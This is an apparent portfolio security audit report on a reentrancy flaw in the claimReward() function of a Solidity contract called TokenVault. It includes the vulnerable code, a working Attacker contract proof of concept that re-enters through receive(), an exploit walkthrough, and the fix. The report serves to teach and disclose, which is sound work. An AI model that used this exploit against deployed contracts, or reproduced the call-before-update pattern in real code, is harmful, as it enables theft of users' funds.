📝 Security Audit Report – TokenVault

Project Name: TokenVault
Finding Type: Reentrancy Vulnerability
Severity: Critical
Auditor: Aayush
Date: April 2025
Status: Publicly Disclosed (for training/portfolio)

🔍 Summary

During the audit of the `TokenVault` contract, we identified a critical **reentrancy vulnerability** in the `claimReward()` function. While the logic appears secure at first glance, it violates the **Checks-Effects-Interactions pattern**, which opens the door to reentrancy.

This issue is more subtle than typical `withdraw()` bugs, as it's buried within reward logic — making it easy to overlook during a casual review.

🧱 Vulnerability: Unsafe External Call Before State Update

Here's the relevant part of the code:

```
function claimReward() public {
    uint256 reward = rewards[msg.sender];
    require(reward > 0, "No reward to claim");

    (bool sent, ) = msg.sender.call{value: reward}("");  // unsafe
call
    require(sent, "Transfer failed");

    rewards[msg.sender] = 0;  // 🔥 balance is zeroed *after* sending
ETH
}
```

- The contract sends ETH using `call` before resetting the caller's reward.

- If the caller is a contract, they can re-enter `claimReward()` via a `receive()` fallback and withdraw repeatedly — draining the vault.

⚠️ Risk & Impact

This isn't a theoretical bug — it's a textbook reentrancy vector that's **deeply hidden** in reward logic, not in a basic withdrawal function.

If exploited, the attacker can repeatedly trigger `claimReward()` before their balance is updated, effectively stealing more ETH than they're entitled to.

🧪 Proof of Concept (PoC)

solidity
CopyEdit

```
contract Attacker {
    TokenVault public vault;

    constructor(address _vault) payable {
        vault = TokenVault(_vault);
    }

    function attack() external payable {
        vault.deposit{value: 1 ether}(); // become eligible
        vault.claimReward();             // trigger first call
    }

    receive() external payable {
        if (address(vault).balance >= 1 ether) {
            vault.claimReward();  // re-enter before balance is zeroed
        }
    }
}
```

🧨 Exploit Walkthrough (PoE)

1. The attacker deposits ETH into the vault to earn a reward.
2. They call `claimReward()` and receive their ETH.
3. During the ETH transfer, their `receive()` function is triggered.
4. Inside `receive()`, they call `claimReward()` again.
5. Since the reward wasn't reset yet, they can keep repeating the process.

Result: the attacker can **drain the contract's balance**.

✅ Recommendation

Apply the **Checks-Effects-Interactions pattern** to secure the function:

solidity
CopyEdit

```
function claimReward() public {
    uint256 reward = rewards[msg.sender];
    require(reward > 0, "No reward to claim");

    rewards[msg.sender] = 0;  // ✅ zero out balance *before* transfer

    (bool sent, ) = msg.sender.call{value: reward}("");
    require(sent, "Transfer failed");
}
```

Alternatively, you can use OpenZeppelin's `ReentrancyGuard` modifier to block reentrant access altogether.

📌 Takeaway

This vulnerability demonstrates how reentrancy can appear in **less obvious places** — not just in classic `withdraw()` functions. Attackers are constantly watching for call-before-state-update sequences, especially in contracts handling ETH.

As auditors, we must always ask:

> ***“Is the state updated before the external call?”***

If not, it’s a red flag.

Audit Metadata

Field	Details
Contract Audited	TokenVault.sol
Tools Used	Manual review, Foundry testing
Vulnerability Type	Reentrancy
Severity	Critical
Report Type	Public portfolio audit
Auditor	Aayush
Report Version	v1.0